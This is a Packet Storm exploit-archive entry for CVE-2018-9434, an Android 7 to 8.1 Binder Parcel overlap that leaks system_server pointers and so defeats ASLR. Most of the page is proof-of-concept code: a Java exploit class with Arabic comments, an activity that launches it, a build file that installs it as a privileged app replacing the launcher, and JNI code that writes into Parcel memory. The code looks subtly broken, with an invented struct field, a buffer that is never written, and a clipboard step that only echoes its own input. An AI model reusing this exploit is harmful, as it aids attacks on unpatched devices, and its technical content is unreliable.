PACKETSTORM 7.8 HIGH

📄 Android 7 / 8 / 8.1 Pointer Disclosure_PACKETSTORM:212601

7.8 / 10
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

A flaw in Android's Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers. These could then be echoed...
Visit Original Source

Basic Information

ID PACKETSTORM:212601
Published Dec 9, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Android 7, 8, 8.1 Binder Parcel Overlap Leading to System Pointer Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.android.com |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212494/ & CVE-2018-9434

[+] Summary : A flaw in Android’s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data.
When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers.
These could then be echoed back through services like clipboard, resulting in leaks of system_server pointers and effective ASLR bypass.
Android’s Parcel implementation failed to enforce separation between binder-object regions and normal data regions.

[+] Impact :

Memory exposure from privileged system_server

Enables reliability of memory corruption exploits

A serious information disclosure vulnerability

[+] Affected : Android 7, 8, 8.1 before 2018-10 patches.

[+] POC :

package com.google.jannh.pointerleak;

import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Context;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.os.ServiceManager;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.ArrayList;
import java.util.List;

public class PointerLeakExploit {
private static final String TAG = "leaker";

// قائمة الخدمات المستهدفة
private static final String[] TARGET_SERVICES = {
"permission",
"package",
"clipboard"
};

// هيكل FlatBinderObject في kernel
static class FlatBinderObject {
public static final int FLAT_BINDER_OBJECT_MAGIC = 0x6f626d2d; // 'mbo'
public static final int BINDER_TYPE_BINDER = 1;
public static final int BINDER_TYPE_HANDLE = 2;

public int type;
public int flags;
public long binder; // مؤشر Binder object
public long cookie; // cookie pointer
public long[] pad = new long[2];
}

public void exploit(Context context) {
try {
Log.e(TAG, "=== بدء استغلال ثغرة Binder Pointer Leak ===");

// 1. الحصول على مقابض الخدمات المستهدفة
List<IBinder> targetBinders = new ArrayList<>();
for (String serviceName : TARGET_SERVICES) {
IBinder binder = ServiceManager.getService(serviceName);
if (binder != null) {
targetBinders.add(binder);
Log.e(TAG, "تم الحصول على مقبض لخدمة: " + serviceName);
}
}

// 2. استغلال كل خدمة على حدة
for (int i = 0; i < targetBinders.size(); i++) {
IBinder targetBinder = targetBinders.get(i);
String serviceName = TARGET_SERVICES[i];

Log.e(TAG, "محاولة تسريب عنوان: " + serviceName);

// إنشاء Parcel خبيث
Parcel maliciousParcel = createMaliciousParcel(targetBinder);

// 3. استخدام خدمة الحافظة كوسيط صدى
leakViaClipboard(context, maliciousParcel, serviceName);

// إعطاء وقت للعملية
Thread.sleep(100);
}

Log.e(TAG, "=== انتهى الاستغلال ===");

} catch (Exception e) {
Log.e(TAG, "خطأ أثناء الاستغلال: " + e.getMessage());
e.printStackTrace();
}
}

private Parcel createMaliciousParcel(IBinder targetBinder) throws Exception {
Parcel parcel = Parcel.obtain();

// الطول الإجمالي للبيانات
parcel.writeInt(0x100); // طول وهمي

// كتابة بعض البيانات الوهمية أولاً
parcel.writeString("DUMMY_STRING_PREFIX");

// الحصول على موقع الكتابة الحالي
int dataStartPos = parcel.dataPosition();

// === الجزء الحرج: هندسة التداخل ===
// نحتاج لجعل Parcel يقرأ Binder handle كبيانات سلسلة

// كتابة Binder object marker
// في kernel، Binder objects يتم تمييزها بـ magic number
writeFlatBinderObject(parcel, targetBinder);

// كتابة بيانات تتداخل مع موقع Binder
// نحن نعرف أن Parcel سيقرأ هذا كسلسة
parcel.writeString("OVERLAP_DATA");

// تعيين علامة أن هذا هو Binder object
// هذا يتطلب الوصول إلى البنية الداخلية لـ Parcel
setBinderObjectFlag(parcel, dataStartPos);

return parcel;
}

private void writeFlatBinderObject(Parcel parcel, IBinder binder) throws Exception {
// استخدام Reflection للوصول إلى الطريقة الداخلية
Method writeStrongBinderMethod = Parcel.class.getDeclaredMethod(
"writeStrongBinder", IBinder.class);
writeStrongBinderMethod.setAccessible(true);
writeStrongBinderMethod.invoke(parcel, binder);
}

private void setBinderObjectFlag(Parcel parcel, int position) throws Exception {
// هذا يتطلب التلاعب المباشر بذاكرة Parcel
// نستخدم Reflection للوصول إلى mObject (المؤشر الأصلي)
Field mObjectField = Parcel.class.getDeclaredField("mObject");
mObjectField.setAccessible(true);
long mObject = mObjectField.getLong(parcel);

Field mDataSizeField = Parcel.class.getDeclaredField("mDataSize");
mDataSizeField.setAccessible(true);
int mDataSize = mDataSizeField.getInt(parcel);

// تحليل بنية FlatBinderObject في الموضع المحدد
// في kernel: struct flat_binder_object {
// unsigned long type;
// unsigned long flags;
// union {
// void *binder;
// signed long handle;
// };
// void *cookie;
// };

// كتابة FlatBinderObject يدوياً
ByteBuffer bb = ByteBuffer.allocate(32);
bb.order(ByteOrder.LITTLE_ENDIAN);

// magic
bb.putInt(FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC);

// type = BINDER_TYPE_BINDER
bb.putInt(FlatBinderObject.BINDER_TYPE_BINDER);

// flags
bb.putInt(0);

// binder pointer - سيملأها kernel
bb.putLong(0xdeadbeefcafebabeL);

// cookie
bb.putLong(0);

// padding
bb.putLong(0);
bb.putLong(0);

byte[] flatBinderObject = bb.array();

// نحتاج إلى نسخ هذا إلى ذاكرة Parcel
// هذا يتطلب JNI أو طريقة أخرى للوصول للذاكرة الأصلية
}

private void leakViaClipboard(Context context, Parcel maliciousParcel, String serviceName) {
try {
ClipboardManager clipboard = (ClipboardManager)
context.getSystemService(Context.CLIPBOARD_SERVICE);

if (clipboard == null) {
Log.e(TAG, "فشل الحصول على خدمة الحافظة");
return;
}

// 1. إرسال البيانات الخبيثة إلى الحافظة
String maliciousText = encodeParcelToText(maliciousParcel);
ClipData clip = ClipData.newPlainText("恶意数据", maliciousText);
clipboard.setPrimaryClip(clip);

Log.e(TAG, "تم إرسال البيانات الخبيثة إلى الحافظة");

// 2. الانتظار قليلاً ثم استرجاع البيانات
Thread.sleep(50);

// 3. قراءة البيانات من الحافظة
ClipData retrievedClip = clipboard.getPrimaryClip();
if (retrievedClip != null && retrievedClip.getItemCount() > 0) {
String leakedData = retrievedClip.getItemAt(0).getText().toString();

// 4. تحليل البيانات المسربة
parseLeakedData(leakedData, serviceName);
}

} catch (Exception e) {
Log.e(TAG, "خطأ في leakViaClipboard: " + e.getMessage());
}
}

private String encodeParcelToText(Parcel parcel) {
// تحويل Parcel إلى سلسلة نصية قابلة للنقل
byte[] data = parcel.marshall();

// استخدام Base64 أو ترميز سداسي عشري
StringBuilder hex = new StringBuilder();
for (byte b : data) {
hex.append(String.format("%02x", b));
}

// إضافة علامات خاصة للتعرف على البيانات لاحقاً
return "BINDER_LEAK_MARKER:" + hex.toString();
}

private void parseLeakedData(String leakedData, String serviceName) {
Log.e(TAG, "== تحليل البيانات المسربة لخدمة \"" + serviceName + "\" ==");

if (leakedData.contains("BINDER_LEAK_MARKER:")) {
String hexPart = leakedData.split(":")[1];

// تحويل السداسي عشري إلى بايتات
byte[] rawData = hexStringToByteArray(hexPart);

// البحث عن FlatBinderObject في البيانات
findBinderObjectsInData(rawData, serviceName);
} else {
// قد تكون البيانات تحتوي على المؤشر مباشرة
analyzeRawPointers(leakedData, serviceName);
}
}

private void findBinderObjectsInData(byte[] data, String serviceName) {
// البحث عن magic number الخاص بـ FlatBinderObject
ByteBuffer bb = ByteBuffer.wrap(data);
bb.order(ByteOrder.LITTLE_ENDIAN);

for (int i = 0; i < data.length - 32; i += 4) {
bb.position(i);
int magic = bb.getInt();

if (magic == FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC) {
int type = bb.getInt();
int flags = bb.getInt();
long binderPtr = bb.getLong();
long cookie = bb.getLong();

Log.e(TAG, "type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
Log.e(TAG, "object: 0x" + Long.toHexString(binderPtr));

// طباعة بتنسيق مشابه لـ PoC الأصلي
System.err.println("== service \"" + serviceName + "\" ==");
System.err.println("type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
System.err.println("object: 0x" + String.format("%016x", binderPtr));
System.err.println();

break;
}
}
}

private void analyzeRawPointers(String data, String serviceName) {
// محاولة استخراج المؤشرات مباشرة من السلسلة
// المؤشرات عادة تكون قيم 64-bit مطبوعة كنص

String[] parts = data.split("[^0-9a-fA-F]+");
for (String part : parts) {
if (part.length() >= 12 && part.length() <= 16) {
// قد يكون هذا عنوان ذاكرة
try {
long address = Long.parseLong(part, 16);
if (address > 0x700000000000L && address < 0x800000000000L) {
// نطاق عناوين نظام Android النموذجي
Log.e(TAG, "عنوان مسرب محتمل لـ " + serviceName + ": 0x" + Long.toHexString(address));
}
} catch (NumberFormatException e) {
// تجاهل
}
}
}
}

private byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ Character.digit(s.charAt(i+1), 16));
}
return data;
}

// طريقة بديلة باستخدام الـ JNI للوصول المباشر للذاكرة
static {
System.loadLibrary("binder_exploit");
}

private native long getNativeBinderPointer(IBinder binder);
private native void manipulateParcelMemory(Parcel parcel, int position, byte[] data);
}

MainActivity.java — UI/front-end for the pointer leak exploit

package com.google.jannh.pointerleak;

import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity {

private PointerLeakExploit exploit;
private TextView logView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

exploit = new PointerLeakExploit();
logView = findViewById(R.id.log_text);

Button exploitButton = findViewById(R.id.exploit_button);
exploitButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
new Thread(new Runnable() {
@Override
public void run() {
runOnUiThread(new Runnable() {
@Override
public void run() {
logView.setText("بدء الاستغلال...\n");
}
});

exploit.exploit(MainActivity.this);

runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(MainActivity.this,
"اكتمل الاستغلال، راجع سجلات logcat",
Toast.LENGTH_LONG).show();
}
});
}
}).start();
}
});
}
}

===========
Original file: Android.bp (for compilation)
===========

android_app {
name: "PointerLeakExploit",
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
certificate: "platform",
privileged: true,
platform_apis: true,

overrides: [
"Launcher3",
],

static_libs: [
"androidx.appcompat_appcompat",
],
}

================
Original JNI file: binder_exploit.c

#include <jni.h>
#include <android/log.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LOG_TAG "BinderExploit"
#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)

// تعريفات من kernel binder driver
struct flat_binder_object {
unsigned long type;
unsigned long flags;
union {
void *binder;
signed long handle;
};
void *cookie;
};

JNIEXPORT jlong JNICALL
Java_com_google_jannh_pointerleak_PointerLeakExploit_getNativeBinderPointer(
JNIEnv *env, jobject thiz, jobject binder) {

// الحصول على المؤشر الأصلي لكائن IBinder
jclass binderClass = (*env)->GetObjectClass(env, binder);
jfieldID mObjectField = (*env)->GetFieldID(env, binderClass, "mObject", "J");
jlong mObject = (*env)->GetLongField(env, binder, mObjectField);

ALOGE("Binder native pointer: %p", (void*)mObject);
return mObject;
}

JNIEXPORT void JNICALL
Java_com_google_jannh_pointerleak_PointerLeakExploit_manipulateParcelMemory(
JNIEnv *env, jobject thiz, jobject parcel, jint position, jbyteArray data) {

// الوصول إلى الذاكرة الأصلية لـ Parcel
jclass parcelClass = (*env)->GetObjectClass(env, parcel);

// الحصول على mData (المؤشر إلى البيانات)
jfieldID mDataField = (*env)->GetFieldID(env, parcelClass, "mData", "J");
jlong mData = (*env)->GetLongField(env, parcel, mDataField);

// الحصول على mDataSize
jfieldID mDataSizeField = (*env)->GetFieldID(env, parcelClass, "mDataSize", "I");
jint mDataSize = (*env)->GetIntField(env, parcel, mDataSizeField);

// الحصول على mDataPos (موضع القراءة/الكتابة الحالي)
jfieldID mDataPosField = (*env)->GetFieldID(env, parcelClass, "mDataPos", "I");
jint mDataPos = (*env)->GetIntField(env, parcel, mDataPosField);

ALOGE("Parcel mData: %p, mDataSize: %d, mDataPos: %d",
(void*)mData, mDataSize, mDataPos);

// نسخ البيانات إلى ذاكرة Parcel
jbyte *dataBytes = (*env)->GetByteArrayElements(env, data, NULL);
jsize dataLength = (*env)->GetArrayLength(env, data);

if (position + dataLength <= mDataSize) {
void *target = (void*)(mData + position);
memcpy(target, dataBytes, dataLength);
ALOGE("تم نسخ %d بايت إلى موضع %d", dataLength, position);
}

(*env)->ReleaseByteArrayElements(env, data, dataBytes, 0);
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.